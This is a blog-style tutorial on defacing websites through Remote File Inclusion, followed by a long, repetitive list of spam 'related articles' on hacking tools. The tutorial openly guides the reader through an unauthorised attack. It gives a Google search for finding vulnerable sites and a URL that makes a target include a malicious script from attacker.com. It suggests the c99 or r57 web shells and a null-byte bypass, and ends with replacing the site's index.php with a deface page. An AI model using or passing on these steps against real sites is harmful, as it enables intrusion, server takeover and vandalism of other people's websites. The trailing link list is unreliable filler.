HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.

RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.

As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.

inurl: "index.php?page=home"

At the place of home, you can also try some other pages like products, gallery and etc.

If you already a know RFI vulnerable website, then you don't need to find it through Google.

Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.

http://target.com/index.php?page=home

As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.

http://target.com/index.php?page=http://attacker.com/maliciousScript.txt

I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.

Now, if it's a really vulnerable website, then there would be 3 things that can happen.

1. You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
2. In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
3. Successful execution.

As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.

Related articles

1. Pentest Tools Github
2. Hacking Tools Kit
3. World No 1 Hacker Software
4. Hacker Tools Windows
5. Beginner Hacker Tools
6. Best Pentesting Tools 2018
7. Hacker Tools
8. Blackhat Hacker Tools
9. Hacking Tools For Games
10. Hacker Tools Mac
11. Pentest Tools Bluekeep
12. Hack Tools For Windows
13. Pentest Tools Github
14. Hack Tools For Pc
15. Nsa Hacker Tools
16. Pentest Tools Find Subdomains
17. Best Hacking Tools 2019
18. Hacking Tools Software
19. Tools For Hacker
20. Blackhat Hacker Tools
21. Hacking Tools For Kali Linux
22. Best Hacking Tools 2019
23. Pentest Tools Kali Linux
24. Hacking Tools Windows 10
25. Hacking Tools For Mac
26. Pentest Tools For Windows
27. Hacker Tools For Windows
28. Hacking Tools Github
29. Bluetooth Hacking Tools Kali
30. Hackers Toolbox
31. Hacker Techniques Tools And Incident Handling
32. How To Install Pentest Tools In Ubuntu
33. Hacking Tools For Mac
34. Hacking Tools Mac
35. Hack Tools For Games
36. Hacker Tools For Windows
37. Hacker Techniques Tools And Incident Handling
38. Hacking Tools Online
39. Pentest Tools Download
40. Hack Tools Mac
41. Pentest Tools For Mac
42. Hacker Tools Hardware
43. Blackhat Hacker Tools
44. Hacker Tools
45. Hacker Tools Free
46. Hacking Tools Software
47. Best Hacking Tools 2020
48. Wifi Hacker Tools For Windows
49. World No 1 Hacker Software
50. Hacking Tools Name
51. Hacking Tools Name
52. Nsa Hack Tools
53. Hacker Tools For Ios
54. Android Hack Tools Github
55. Hack Tools For Mac
56. Hacking Tools Pc
57. Best Hacking Tools 2019
58. Hack Tools Online
59. Hack Tools For Ubuntu
60. Hacker Tool Kit
61. Usb Pentest Tools
62. Hacker Tools Online
63. Hacker Tools Apk
64. Hacker Tools For Pc
65. Usb Pentest Tools
66. Kik Hack Tools
67. Pentest Tools Framework
68. Pentest Tools Download
69. Pentest Tools Website Vulnerability
70. Github Hacking Tools
71. Pentest Automation Tools
72. Hacking Tools Hardware
73. Pentest Box Tools Download
74. Hacking Tools Mac
75. Hacking Tools For Pc
76. Pentest Reporting Tools
77. Hacking Tools For Windows Free Download
78. Pentest Reporting Tools
79. Pentest Tools Github
80. Best Hacking Tools 2019
81. Bluetooth Hacking Tools Kali
82. Pentest Tools For Android
83. Hacker Tools Github
84. Github Hacking Tools
85. Usb Pentest Tools
86. Hacker Tools Apk
87. Beginner Hacker Tools
88. Tools 4 Hack
89. Pentest Tools For Mac
90. Game Hacking
91. Hacker Search Tools
92. Hacker Tools Mac
93. Pentest Recon Tools
94. Hacker Tools Apk
95. Best Hacking Tools 2019
96. Hack Tools 2019
97. Pentest Tools Online
98. Hacker Tools Software
99. Tools Used For Hacking
100. Hacker Tools 2020
101. Nsa Hack Tools
102. Kik Hack Tools
103. Hacking Tools